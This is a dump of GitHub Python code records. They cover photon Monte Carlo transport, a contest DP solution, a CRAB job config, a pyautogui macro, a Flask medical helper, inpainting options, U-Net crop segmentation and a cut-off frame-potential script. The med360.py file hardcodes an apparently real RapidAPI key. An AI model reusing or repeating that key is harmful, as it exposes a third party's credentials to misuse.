Snell's law and a rotation matrix\n \n Parameters:\n -----------\n r: array of size (3,number of photons intersecting the cavity)\n array containing the position (x,y,z) of the intersection for each photon which path intersects the cavity\n u: array of size (3,number of photons intersecting the cavity)\n array containing the unit velocity vector of each photon which path intersects the cavity\n w: array of size (number of photons intersecting the cavity)\n array containing the weights of each photon which path intersects the cavity\n s: array of size (number of photons intersecting the cavity)\n array containing the step size of each photon which path intersects the cavity\n dist_to_travel: array of size (number of photons intersecting the cavity)\n array containing the distance each photon has to travel after the intersection with the cavity\n ci: array of size (number of photons intersecting the cavity)\n array containing the cosine of the angle between the incoming photons and the cavity surface\n si: array of size (number of photons intersecting the cavity)\n array containing the sine of the angle between the incoming photons and the cavity surface\n normal: array of size (3,number of photons intersecting the cavity)\n array containing vector normal to the cavity surface at the intersection location\n reflec_io: boolean array of size (N)\n boolean array containing the indices of which photons intersect from the inside to the outside of the cavity\n reflec_oi: boolean array of size (N)\n boolean array containing the indices of which photons intersect from the outside to the inside of the cavity\n n1: float\n float indicating the refraction coefficient of the tissue\n n2: float\n float indicating the refraction coefficient of the cavity\n \n Results:\n --------\n utrans: array of size (3,number of photons intersecting the cavity)\n array containing the unit velocity vector of each photon which path intersects the cavity and is transmitted and refracted through the surface of the cavity\n rtrans: array of size (3,number of photons intersecting the cavity)\n array containing the position (x,y,z) of each photon which path intersects the cavity and is transmitted and refracted through the surface of the cavity\n wtrans: array of size (number of photons intersecting the cavity)\n array containing the weights of each photon which path intersects the cavity and is transmitted and refracted through the surface of the cavity\n strans: array of size (number of photons intersecting the cavity)\n array containing the step size of each photon which path intersects the cavity and is transmitted and refracted through the surface of the cavity\n \n \"\"\"\n \n #find the photons that are partially reflected\n if n1cavr**2\n s[out==False] = 2*cavr #ensure that the photons inside the cavity will interact with the boundary \n \n #find the photons that travel through the cavity and set them at the boundary \n r_intersec,u_intersec,w_intersec,dist_to_travel,intersec,reflec_io,reflec_oi = through_cavity_boundary(r_old,r,u,s,w,cavcent,cavr)\n \n #reflect the photons that are incident on the boundary of the cavity \n u[:,intersec],w[intersec],R,ci,si,normal = reflect_cavity(r_intersec,u_intersec,w_intersec,intersec,reflec_io,reflec_oi,n1,n2,cavcent)\n \n #Transmit the photons that are incident on the boundary of the cavity \n utrans,wtrans,strans,par_ref = transmission_cavity(r_intersec,u_intersec,w_intersec,dist_to_travel,s[intersec],ci,si,normal,R,reflec_oi,reflec_io,n1,n2)\n \n #Look at the photons that have interacted with the boundary of the cavity\n ureflect = u[:,intersec]\n rreflect = np.zeros((3,np.sum(intersec)))\n \n #set the photons that are internal reflect in the cavity just away from the cavity boundary\n rreflect[:,reflec_io] = r_intersec[:,reflec_io] + ureflect[:,reflec_io] * 0.01*cavr\n \n #set the photons that are reflected outside the cavity to their new position\n rreflect[:,reflec_oi] = r_intersec[:,reflec_oi] + ureflect[:,reflec_oi] * dist_to_travel[reflec_oi]\n \n #set the reflected photons back in the original array\n r[:,intersec] = rreflect\n \n #set the transmitted photons to their new position\n rtrans = np.zeros((3,np.sum(par_ref)))\n #photons transmitted from outside cavity to inside cavity\n rtrans[:,reflec_oi[par_ref]] = utrans[:,reflec_oi[par_ref]]*0.01*cavr + r_intersec[:,reflec_oi*par_ref]\n #photons transmitted from inside cavity to outside cavity\n rtrans[:,reflec_io[par_ref]],strans[reflec_io[par_ref]] = hop(r_intersec[:,reflec_io*par_ref],utrans[:,reflec_io[par_ref]],mu_t)\n\n #add the transmitted photons to the original arrays\n u = np.concatenate((u,utrans),axis = 1)\n r = np.concatenate((r,rtrans),axis = 1)\n w = np.concatenate((w,wtrans),axis = 0)\n s = np.concatenate((s,strans),axis = 0)\n \n #find the photons that are not in the cavity after reflections on cavity boundary\n out = np.sum((r-cavcent)**2,axis=0)>cavr**2 \n return r,u,w,s,out\n","repo_name":"martijneppenga/Monte_Carlo_radiation_transport","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":34811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31149402664","text":"from bisect import bisect_left as bisect\nfrom sys import stdin,stdout\nfor _ in xrange(int(stdin.readline())):\n n= int(stdin.readline())\n array=list()\n ##input\n for i in xrange(n):\n array.append(map(int,stdin.readline().split()))\n ##sorting\n for i in xrange(n):\n array[i].sort()\n ##storing\n ans=list()\n for i in xrange(n):\n ans.append(list(array[i]))\n ##dp\n for i in xrange(1,n):\n for j in xrange(n):\n index=bisect(array[i-1],array[i][j])\n if index == 0:\n ans[i][j]=-1\n else:\n if ans[i-1][index-1]==-1:\n ans[i][j]=-1\n else:\n ans[i][j]+=ans[i-1][index-1]\n final_ans=max(ans[-1])\n stdout.write(\"%d\\n\"%(final_ans))\n\n \n\n \n \n","repo_name":"phantomhieve/CP","sub_path":"2018/janurary(18) long/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41193682433","text":"from CRABClient.UserUtilities import config\nimport os, re, time\n\narchs = os.environ[\"SCRAM_ARCH\"].split(\"_\")\nosMajorVer = int(re.sub(\"[a-z]\", \"\", archs[0]))\n\nconfig = config()\nconfig.General.instance = os.getenv(\"CRABCONFIGINSTANCE\", \"prod\")\nconfig.General.requestName = os.getenv(\"CRAB_REQUEST\", str(int(time.time())))\nconfig.General.transferOutputs = True\nconfig.General.transferLogs = False\n\nconfig.Data.unitsPerJob = 10\nconfig.Data.totalUnits = 10\nconfig.Data.splitting = \"EventBased\"\nconfig.Data.publication = False\n\nconfig.JobType.psetName = os.path.join(os.path.dirname(__file__), \"pset.py\")\nconfig.JobType.pluginName = \"PrivateMC\"\nconfig.JobType.maxJobRuntimeMin = 60\nconfig.JobType.maxMemoryMB = 2000\nconfig.JobType.allowUndistributedCMSSW = True\n\nconfig.Site.storageSite = \"T2_CH_CERN\"\n\nif \"CRAB_SCHEDD_NAME\" in os.environ and os.environ[\"CRAB_SCHEDD_NAME\"] != \"\":\n config.Debug.scheddName = os.environ[\"CRAB_SCHEDD_NAME\"]\nif \"CRAB_COLLECTOR\" in os.environ and os.environ[\"CRAB_COLLECTOR\"] != \"\":\n config.Debug.collector = os.environ[\"CRAB_COLLECTOR\"]\n\nconfig.Debug.extraJDL = ['+REQUIRED_OS=\"rhel%s\"' % osMajorVer]\nif \"amd64\" == archs[1]:\n config.Debug.extraJDL.append(\n '+DESIRED_Archs=\"%s\"' % \"X86_64\" if (\"amd64\" == archs[1]) else archs[1]\n )\nif \"SINGULARITY_IMAGE\" in os.environ and os.environ[\"SINGULARITY_IMAGE\"] != \"\":\n config.Debug.extraJDL.append('+SingularityImage=\"%s\"' % os.environ[\"SINGULARITY_IMAGE\"])\nif \"CRAB_SITE\" in os.environ and os.environ[\"CRAB_SITE\"] != \"\":\n config.Debug.extraJDL.append('+DESIRED_Sites=\"%s\"' % os.environ[\"CRAB_SITE\"])\n","repo_name":"cms-sw/cms-bot","sub_path":"crab/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"28854617456","text":"\n# 나이스코딩/ Python예제 / 11.pyautogui 매크로프로그램 만들기\nimport pyautogui as pag\nimport pyperclip as ppc\nimport time\n\ngreet = \"Good night\"\n\ntime.sleep(3)\npag.hotkey(\"ctrl\", \"shift\", \"N\")\ntime.sleep(1)\n\npag.typewrite(\"Nice Coding!!!\")\npag.press(\"enter\")\nppc.copy(greet)\npag.hotkey(\"ctrl\", \"v\")\n\ntime.sleep(0.2)\npag.hotkey(\"ctrl\", \"s\")\ntime.sleep(\"0.5\")\npag.typewrite(\"test.txt\")\ntime.sleep(0.2)\npag.hotkey(\"alt\", \"S\") # select all\n\n\n\n","repo_name":"jongryeul/first-noona-project","sub_path":"pyautogui_macro.py","file_name":"pyautogui_macro.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40047148004","text":"import base64\nfrom datetime import date\n\nimport requests\nfrom Cryptodome.Cipher import AES\nfrom Cryptodome.Random import get_random_bytes\nfrom flask_admin import Admin\n\nfrom models import db, app, User, City, Role, Scheme\n\nadmin = Admin(app, name='Med360')\n\n\ndef get_scheme_data():\n import pandas as pd\n schemes_file = r'../kb/scheme_hosp.txt'\n return pd.read_csv(open(schemes_file, 'r'), delimiter='\\t')\n\n\ndef get_states_for_help():\n from pickle import load\n final_dist = load(open('kb/dist_list.pkl', 'rb'))\n return [(i, i) for i in final_dist]\n\n\ndef get_emergency_numbers(district):\n \"\"\"\n :param district: district name\n :type district: str\n :return: two pd.df\n :rtype: pd.df\n \"\"\"\n import pandas as pd\n helpline_pkl = r'kb/helpline.pkl'\n hotline_pkl = r'kb/hotline_numbers.pkl'\n helpline_df = pd.read_pickle(helpline_pkl)\n hotline_df = pd.read_pickle(hotline_pkl)\n hotline_result = hotline_df[hotline_df['District'].str.contains(district, case=False)]\n helpline_result = helpline_df[helpline_df['District'].str.contains(district, case=False)]\n return hotline_result, helpline_result\n\n\ndef get_all_states_for_donors():\n return [(r[0], r[0]) for r in db.session.query(User.state).distinct()]\n\n\ndef get_all_states():\n states = [(r[0], r[0]) for r in db.session.query(City.state).distinct()]\n states.append((\"0\", \"States\"))\n return states\n\n\ndef get_all_roles():\n return [(r[0], r[1]) for r in db.session.query(Role.id, Role.name).distinct()]\n\n\ndef get_all_schemes():\n return [(r[0], r[1]) for r in db.session.query(Scheme.uuid, Scheme.name).distinct()]\n\n\ndef spec_code_dict():\n import pandas as pd\n codes = pd.read_csv(r'kb/codes.csv')\n codes.index = codes.code\n codes = codes.drop('code', axis=1)\n code_dict = []\n for i, j in codes.iterrows():\n if len(code_dict) == 0:\n code_dict.append(('None', 'Specialities'))\n code_dict.append((j.name, j.spec))\n return code_dict\n\n\ndef decodeSpecialties(spec):\n if 'NA' not in str(spec):\n import pandas as pd\n codes = pd.read_csv(r'kb/codes.csv')\n codes.index = codes.code\n codes = codes.drop('code', axis=1)\n specs = []\n if ',' in str(spec):\n spec = str(spec).replace(' ', '')\n spec = spec.split(',')\n for _spec in spec:\n specs.append(codes._get_value(_spec, col='spec'))\n else:\n specs.append(codes._get_value(spec.replace(' ', ''), col='spec'))\n return specs\n return ['NA']\n\n\ndef get_age(dob):\n today = date.today()\n return today.year - dob.year - ((today.month, today.day) < (dob.month, dob.day))\n\n\ndef covid_data():\n corona_api_key = \"f4491b20c4mshe066c8a643cdf41p1d21dfjsna43b3402be92\"\n url = \"https://api.covid19api.com/live/country/india\"\n querystring = {\"format\": \"json\", \"name\": \"india\"}\n headers = {\n 'x-rapidapi-host': \"covid-19-data.p.rapidapi.com\",\n 'x-rapidapi-key': corona_api_key\n }\n\n global_url = 'https://api.covid19api.com/summary'\n global_resp = requests.request(\"GET\", global_url)\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\n india_val = response.json()\n global_val = global_resp.json()\n return india_val, global_val\n\n\ndef distinct(input_list):\n if not isinstance(input_list, list):\n raise TypeError('Input has to be set to list type')\n seen_uuid = []\n final_out = []\n ids = [i.uuid for i in input_list]\n for obj in input_list:\n if ids.count(obj.uuid) == 1 or obj.uuid not in seen_uuid:\n final_out.append(obj)\n seen_uuid.append(obj.uuid)\n return final_out\n\n\nclass Security:\n def encrypt(raw, __key):\n BS = AES.block_size\n pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)\n\n raw = base64.b64encode(pad(raw).encode('utf8'))\n iv = get_random_bytes(AES.block_size)\n cipher = AES.new(key=__key[:16].encode('utf8'), mode=AES.MODE_CFB, iv=iv)\n return base64.b64encode(iv + cipher.encrypt(raw))\n\n def decrypt(enc, __key):\n unpad = lambda s: s[:-ord(s[-1:])]\n\n enc = base64.b64decode(enc)\n iv = enc[:AES.block_size]\n cipher = AES.new(__key[:16].encode('utf8'), AES.MODE_CFB, iv)\n return unpad(base64.b64decode(cipher.decrypt(enc[AES.block_size:])))\n","repo_name":"vaisakhv/M-Care","sub_path":"med360.py","file_name":"med360.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27859696686","text":"import argparse\nimport os\nimport util\n\n\nclass BaseOptions():\n def __init__(self):\n self.initialized = False\n\n def initialize(self, parser):\n parser.add_argument('type', type=str, help='train or test the model', choices=['train', 'test'])\n parser.add_argument('--batchSize', type=int, default=1, help='input batch size')\n parser.add_argument('--loadSize', type=int, default=256, help='scale images to this size')\n parser.add_argument('--fineSize', type=int, default=256, help='then crop to this size')\n parser.add_argument('--input_nc', type=int, default=3, help='# of input image channels')\n parser.add_argument('--output_nc', type=int, default=3, help='# of output image channels')\n parser.add_argument('--ngf', type=int, default=64, help='# of gen filters in first conv layer')\n parser.add_argument('--ndf', type=int, default=64, help='# of discrim filters in first conv layer')\n parser.add_argument('--dataset_mode', type=str, default='aligned', help='chooses how datasets are loaded. [aligned | aligned_resized | single]')\n parser.add_argument('--nThreads', default=8, type=int, help='# threads for loading data')\n parser.add_argument('--checkpoints_dir', type=str, default='./weights', help='models are saved here')\n parser.add_argument('--norm', type=str, default='instance', help='[instance|batch|switchable] normalization')\n parser.add_argument('--suffix', default='', type=str, help='customized suffix: opt.name = opt.name + suffix: e.g., {model}_{which_model_netG}_size{loadSize}')\n\n parser.add_argument('--max_dataset_size', type=int, default=float(\"inf\"), help='Maximum number of samples allowed per dataset. If the dataset directory contains more than max_dataset_size, only a subset is loaded.')\n parser.add_argument('--resize_or_crop', type=str, default='resize_and_crop', help='scaling and cropping of images at load time [resize_and_crop|crop|scale_width]')\n parser.add_argument('--no_flip', action='store_true', help='if specified, do not flip the images for data argumentation')\n parser.add_argument('--init_type', type=str, default='normal', help='network initialization [normal|xavier|kaiming|orthogonal]')\n parser.add_argument('--mask_type', type=str, default='center',\n help='the type of mask you want to apply, \\'center\\' or \\'random\\'')\n parser.add_argument('--mask_sub_type', type=str, default='rect',\n help='the type of mask you want to apply, \\'rect \\' or \\'fractal \\' or \\'island \\'')\n parser.add_argument('--lambda_A', type=int, default=100, help='weight on L1 term in objective')\n parser.add_argument('--overlap', type=int, default=4, help='the overlap for center mask')\n parser.add_argument('--init_gain', type=float, default=0.02, help='scaling factor for normal, xavier and orthogonal.')\n parser.add_argument('--skip', type=int, default=0, help='Define whether the guidance layer is skipped. Useful when using multiGPUs.')\n parser.add_argument('--fuse', type=int, default=0, help='Fuse may encourage large patches shifting when using \\'patch_soft_shift\\'')\n parser.add_argument('--gan_type', type=str, default='vanilla', help='wgan_gp, '\n 'lsgan, '\n 'vanilla, '\n 're_s_gan (Relativistic Standard GAN), '\n 're_avg_gan')\n parser.add_argument('--gan_weight', type=float, default=0.2, help='the weight of gan loss')\n parser.add_argument('--style_weight', type=float, default=10.0, help='the weight of style loss')\n parser.add_argument('--content_weight', type=float, default=1.0, help='the weight of content loss')\n parser.add_argument('--discounting', type=int, default=1, help='the loss type of mask part, whether using discounting l1 loss or normal l1')\n parser.add_argument('--use_spectral_norm_D', type=int, default=1, help='whether to add spectral norm to D, it helps improve results')\n parser.add_argument('--use_spectral_norm_G', type=int, default=0, help='whether to add spectral norm in G. Seems very bad when adding SN to G')\n\n self.initialized = True\n return parser\n\n def gather_options(self, options=None):\n # initialize parser with basic options\n if not self.initialized:\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser = self.initialize(parser)\n\n\n self.parser = parser\n if options == None:\n return parser.parse_args()\n else:\n return parser.parse_args(options)\n\n def print_options(self, opt):\n message = ''\n message += '----------------- Options ---------------\\n'\n for k, v in sorted(vars(opt).items()):\n comment = ''\n default = self.parser.get_default(k)\n if v != default:\n comment = '\\t[default: %s]' % str(default)\n message += '{:>25}: {:<30}{}\\n'.format(str(k), str(v), comment)\n message += '----------------- End -------------------'\n print(message)\n\n # save to the disk\n expr_dir = os.path.join(opt.checkpoints_dir, opt.name)\n util.mkdirs(expr_dir)\n file_name = os.path.join(expr_dir, 'opt.txt')\n with open(file_name, 'wt') as opt_file:\n opt_file.write(message)\n opt_file.write('\\n')\n\n def parse(self, options=None):\n\n opt = self.gather_options(options=options)\n\n # process opt.suffix\n if opt.suffix:\n suffix = ('_' + opt.suffix.format(**vars(opt))) if opt.suffix != '' else ''\n opt.name = opt.name + suffix\n\n # self.print_options(opt)\n self.opt = opt\n return self.opt\n\n\nclass MyOptions(BaseOptions):\n def initialize(self, parser):\n parser = BaseOptions.initialize(self, parser)\n parser.add_argument('--lr', type=float, default=0.0002, help='initial learning rate for adam')\n return parser\n","repo_name":"HighwayWu/ImageInpainting","sub_path":"options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":6333,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"61"} +{"seq_id":"3336922318","text":"def compute_graph(params, target):\n '''\n Simple function with the forward pass\n\n args:\n params: list\n contains the inputs and the weight tensors\n returns:\n L: float\n loss given a target value\n '''\n a, w1, w2, w3, w4 = params[0],params[1], params[2], params[3], params[4]\n \n b = w1 * a \n c = w2 * a\n d = w3 * b + w4 * c \n\n # Compute the summed loss\n L = (target - d).sum()\n\n # Store weights in a dictionary\n weights = {}\n weights['w1'] = w1\n weights['w2'] = w2\n weights['w3'] = w3\n weights['w4'] = w4\n\n # Store values of the nodes in a dictionary\n values = {}\n values['a'] = a\n values['b'] = b\n values['c'] = c\n values['d'] = d\n\n return (L, values, weights)\n","repo_name":"ungarl/course-content","sub_path":"tutorials/W2_PyTorchDLN/solutions/W2_Tutorial1_Solution_Ex03b.py","file_name":"W2_Tutorial1_Solution_Ex03b.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"28295786163","text":"#my initial slow solution\nclass Solution:\n def romanToInt(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n v = [1000,900,500,400,100,90,50,40,10,9,5,4,1]\n a = ['M','CM','D','CD','C','XC','L','XL', 'X','IX', 'V','IV', 'I']\n mapping = dict(zip(a,v))\n if len(s) == 1:\n return mapping[s]\n i = 0\n n =0\n while len(s)>1:\n if s[:2] in mapping.keys():\n n+=mapping[s[:2]]\n s = s[2:]\n else:\n n+=mapping[s[:1]]\n s = s[1:]\n if s:\n n+=mapping[s]\n return n\n\n#faster by other people, take advantage that small before large means minus:\nclass Solution:\n def romanToInt(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n v = [1000,500,100,50,10,5,1]\n a = ['M','D','C','L', 'X' ,'V', 'I']\n mapping = dict(zip(a,v))\n if len(s) == 1:\n return mapping[s]\n total = 0\n for i in range(len(s) -1):\n if mapping[s[i]] < mapping[s[i+1]]:\n total -= mapping[s[i]]\n else:\n total += mapping[s[i]]\n total += mapping[s[-1]]\n return total","repo_name":"xinwang26/leetcodeprac","sub_path":"roman_to_integer.py","file_name":"roman_to_integer.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43478996144","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec 8 14:53:05 2020\r\n\r\n@author: carlo\r\n\"\"\"\r\nimport os\r\nimport tensorflow as tf\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport time\r\nfrom matplotlib import cm\r\nimport matplotlib.pyplot as plt\r\nimport json\r\nimport cv2\r\n\r\nSEED = 1234\r\ntf.random.set_seed(SEED) \r\nnp.random.seed(SEED)\r\n\r\n#the foder Test_Dev must be in the current work directory\r\ncurr_dir = os.getcwd() \r\nn_exp = '03'\r\nfold_name = 'segmentation_experiments' + n_exp\r\nckpt_dir = os.path.join(curr_dir, fold_name)\r\nfolder_used = 'Segm_2020-12-08_11-14-41'\r\nckpt_dir = os.path.join(ckpt_dir,folder_used)\r\nckpt_dir = os.path.join(ckpt_dir, 'ckpts')\r\n\r\n\r\nused_ckpt = 'cp_46' #metti quello di tensorboard + 1\r\nused_ckpt_address = used_ckpt + '.ckpt'\r\n\r\nckpt_elem = os.path.join(ckpt_dir,used_ckpt_address)\r\n\r\n\r\nimg_h = 512\r\nimg_w = 512\r\n\r\nbs = 4\r\n\r\n#####################################################################################\r\ndef read_rgb_mask(img_path):\r\n '''\r\n img_path: path to the mask file\r\n Returns the numpy array containing target values\r\n '''\r\n\r\n mask_img = Image.open(img_path)\r\n mask_arr = np.array(mask_img)\r\n\r\n new_mask_arr = np.zeros(mask_arr.shape[:2], dtype=mask_arr.dtype)\r\n\r\n # Use RGB dictionary in 'RGBtoTarget.txt' to convert RGB to target\r\n new_mask_arr[np.where(np.all(mask_arr == [216, 124, 18], axis=-1))] = 0\r\n new_mask_arr[np.where(np.all(mask_arr == [255, 255, 255], axis=-1))] = 1\r\n new_mask_arr[np.where(np.all(mask_arr == [216, 67, 82], axis=-1))] = 2\r\n\r\n return new_mask_arr\r\n\r\n\r\n#######################################################################################\r\n\r\n#I create the model\r\n\r\ndef down_block(inpt,filters):\r\n out1 = tf.keras.layers.Conv2D(filters, kernel_size=(3, 3),strides=(1, 1), padding='same')(inpt)\r\n out2 = tf.keras.layers.BatchNormalization()(out1) #I apply batch normalization before the relu activation\r\n out3 = tf.keras.layers.ReLU()(out2)\r\n out4 = tf.keras.layers.MaxPooling2D((2, 2))(out3)\r\n return out4, out3\r\n\r\ndef up_block(inpt,filters,skip_conn):\r\n out1 = tf.keras.layers.Conv2DTranspose(filters, kernel_size=(2, 2), strides=(2, 2), padding='same')(inpt)\r\n out2 = tf.keras.layers.concatenate([out1, skip_conn])\r\n out3 = tf.keras.layers.Conv2D(filters, kernel_size=(3, 3), activation='relu', padding='same')(out2)\r\n out4 = tf.keras.layers.BatchNormalization()(out3) #I apply batch normalization before the relu activation\r\n out5 = tf.keras.layers.ReLU()(out4)\r\n return out5\r\n\r\ndef UnetMod(img_h, img_w, n_class, start_filters, depth):\r\n inputs = tf.keras.layers.Input([img_h, img_w, n_class])\r\n u = inputs\r\n l_out = []\r\n for i in range(0,depth):\r\n u, u1 = down_block(u, start_filters)\r\n l_out.append(u1)\r\n start_filters = start_filters*2\r\n \r\n u = tf.keras.layers.Conv2D(start_filters, kernel_size=(3, 3), padding='same') (u)\r\n u = tf.keras.layers.BatchNormalization()(u) #I apply batch normalization before the relu activation\r\n u = tf.keras.layers.ReLU()(u)\r\n \r\n \r\n start_filters = start_filters/2\r\n \r\n l_out.reverse()\r\n for i in range(0,depth-1):\r\n u = up_block(u,start_filters,l_out[i])\r\n start_filters = start_filters/2\r\n u = tf.keras.layers.Conv2DTranspose(start_filters, kernel_size=(2, 2), strides=(2, 2), padding='same') (u)\r\n u = tf.keras.layers.concatenate([u, l_out[depth-1]], axis=3)\r\n u = tf.keras.layers.Conv2D(start_filters, kernel_size=(3, 3), padding='same') (u)\r\n u = tf.keras.layers.BatchNormalization()(u) #I apply batch normalization before the relu activation\r\n u = tf.keras.layers.ReLU()(u)\r\n \r\n outputs = tf.keras.layers.Conv2D(filters=n_class, kernel_size=(1, 1), padding='same',activation='softmax') (u)\r\n \r\n mod = tf.keras.Model(inputs=[inputs], outputs=[outputs])\r\n return mod\r\n \r\n\r\n\r\nmodel = UnetMod(img_h = img_h, img_w = img_w, n_class = 3, start_filters = 16, depth = 5)\r\n\r\nprint(model.summary())\r\n\r\n#############################################################################################\r\n# Optimization params\r\n# -------------------\r\n\r\n# Loss\r\n# Categoricaly Crossentropy\r\nloss = tf.keras.losses.SparseCategoricalCrossentropy() \r\n\r\n# learning rate\r\nlr = 1e-3\r\noptimizer = tf.keras.optimizers.Adam(learning_rate=lr)\r\n\r\n\r\n# Here we define the intersection over union for each class in the batch.\r\n# Then we compute the final iou as the mean over classes\r\ndef meanIoU(y_true, y_pred):\r\n # get predicted class from softmax\r\n y_pred = tf.expand_dims(tf.argmax(y_pred, -1), -1)\r\n\r\n per_class_iou = []\r\n\r\n for i in range(1,3): # exclude the background class 0\r\n # Get prediction and target related to only a single class (i)\r\n \r\n class_pred = tf.cast(tf.where(y_pred == i, 1, 0), tf.float32)\r\n class_true = tf.cast(tf.where(y_true == i, 1, 0), tf.float32)\r\n intersection = tf.reduce_sum(class_true * class_pred)\r\n union = tf.reduce_sum(class_true) + tf.reduce_sum(class_pred) - intersection\r\n \r\n iou = (intersection + 1e-7) / (union + 1e-7)\r\n per_class_iou.append(iou)\r\n\r\n return tf.reduce_mean(per_class_iou)\r\n\r\nmetrics = ['accuracy', meanIoU]\r\n# ------------------\r\n\r\n# Compile Model\r\nmodel.compile(optimizer=optimizer, loss=loss, metrics=metrics)\r\n\r\n#I load the weights\r\nmodel.load_weights(ckpt_elem)\r\n\r\n##############################################################################################\r\n\r\n#I do the predictions\r\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\r\n\r\ntest_img_data_gen = ImageDataGenerator()\r\n\r\ntest_dir = os.path.join(curr_dir, 'Test_Dev\\\\Bipbip\\\\Haricot')\r\ntest_gen = test_img_data_gen.flow_from_directory(test_dir,\r\n target_size=(img_h, img_w), \r\n class_mode=None, \r\n shuffle=False,\r\n interpolation='bilinear',\r\n seed=SEED,\r\n classes = ['Images'])\r\n\r\ntest_dataset = tf.data.Dataset.from_generator(lambda: test_gen,\r\n output_types=tf.float32,\r\n output_shapes=[None, img_h, img_w, 3])\r\n\r\niterator = iter(test_dataset)\r\n\r\nout = next(iterator)\r\n\r\n#############################################################################################\r\n#I test the model on a picture in the test set\r\nindex = 5\r\nimage = out[index]\r\n\r\nprediction = model.predict(tf.expand_dims(image, 0))\r\n\r\npredicted_class = tf.argmax(prediction, -1)\r\n\r\npredicted_class = predicted_class[0, ...]\r\n\r\n# Assign colors (just for visualization)\r\nprediction_img = np.zeros([img_h, img_w, 3])\r\nprediction_img[np.where(predicted_class == 0)] = [0, 0, 0]\r\nprediction_img[np.where(predicted_class == 1)] = [255, 255, 255]\r\nprediction_img[np.where(predicted_class == 2)] = [255, 0, 0]\r\n\r\nplt.imshow(prediction_img)\r\n\r\n################################################################################################\r\n\r\ndef rle_encode(img):\r\n '''\r\n img: numpy array, 1 - foreground, 0 - background\r\n Returns run length as string formatted\r\n '''\r\n pixels = img.flatten()\r\n pixels = np.concatenate([[0], pixels, [0]])\r\n runs = np.where(pixels[1:] != pixels[:-1])[0] + 1\r\n runs[1::2] -= runs[::2]\r\n return ' '.join(str(x) for x in runs)\r\n\r\n###############################################################################################\r\n\r\nteams = [\"Bipbip\", \"Pead\", \"Roseau\", \"Weedelec\"]\r\ncrops = [\"Haricot\", \"Mais\"]\r\n\r\nsubmission_dict = {}\r\n\r\nfor team in teams:\r\n for crop in crops:\r\n \r\n #directory\r\n test_dir = os.path.join(curr_dir, 'Test_Dev', team, crop, 'Images')\r\n \r\n #I get the list of image names\r\n names_list = os.listdir(test_dir)\r\n names_list = sorted(names_list)\r\n \r\n for img_name in names_list:\r\n \r\n image = Image.open(os.path.join(test_dir, img_name))\r\n \r\n img_name = img_name.replace('.jpg',\"\").replace('.png',\"\")\r\n \r\n initial_size = list(image.size)\r\n image = image.resize([img_w, img_h])\r\n \r\n img_arr = np.array(image)\r\n #img_arr = preprocess_input(img_arr) #If I have used some prepocess like the one for vgg\r\n \r\n prediction = model.predict(tf.expand_dims(img_arr, axis=0))\r\n mask_arr = tf.argmax(prediction, -1) \r\n mask_arr = np.array(mask_arr[0, ...])\r\n \r\n mask_arr = cv2.resize(mask_arr, dsize=(initial_size[0], initial_size[1]), interpolation=cv2.INTER_NEAREST)\r\n \r\n submission_dict[img_name] = {}\r\n submission_dict[img_name]['shape'] = mask_arr.shape\r\n submission_dict[img_name]['team'] = team\r\n submission_dict[img_name]['crop'] = crop\r\n submission_dict[img_name]['segmentation'] = {}\r\n\r\n rle_encoded_crop = rle_encode(mask_arr == 1)\r\n rle_encoded_weed = rle_encode(mask_arr == 2)\r\n\r\n submission_dict[img_name]['segmentation']['crop'] = rle_encoded_crop\r\n submission_dict[img_name]['segmentation']['weed'] = rle_encoded_weed\r\n \r\n \r\n with open('submission.json', 'w') as f:\r\n json.dump(submission_dict, f)\r\n ","repo_name":"carloghiglione/crop_image_segmentation","sub_path":"submit_encoder_decoder_model.py","file_name":"submit_encoder_decoder_model.py","file_ext":"py","file_size_in_byte":9526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10810969089","text":"import sys\nimport pandas as pd\nfrom pandas import Series,DataFrame\nimport numpy as np\nfrom scipy import stats\nfrom pathlib import Path\nimport re\nimport math\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\n#link {https://www.math.wustl.edu/~sawyer/handouts/Jackknife.pdf}\n#link {https://towardsdatascience.com/calculating-confidence-interval-with-bootstrapping-872c657c058d}\n\nROOT_PATH = \"/mnt/d/quantum\"\n\n#estimator type of a frame potential\nB12 = \"B12\"\nB15 = \"B15\"\nB12_JACKKNIFE = \"B12_Jackknife\"\n\n#parameters class\nclass Para:\n def __init__(self, culcType=B12, circuit=\"LRC\", Ntimes=1000, depth=10, t=1, Nq=7, Nsample=100) -> None:\n self.culcType=culcType\n self.circuit=circuit\n self.Ntimes=Ntimes\n self.depth=depth\n self.t=t\n self.Nq=Nq\n self.Nsample=Nsample\n\ndef get_file_name(para : Para):\n if para.culcType == B12_JACKKNIFE:\n if para.circuit=='RC':\n return f'{para.circuit}_Nq{para.Nq}_t{para.t}_sample{para.Nsample}'\n if para.circuit=='LRC' or para.circuit=='RDC':\n return 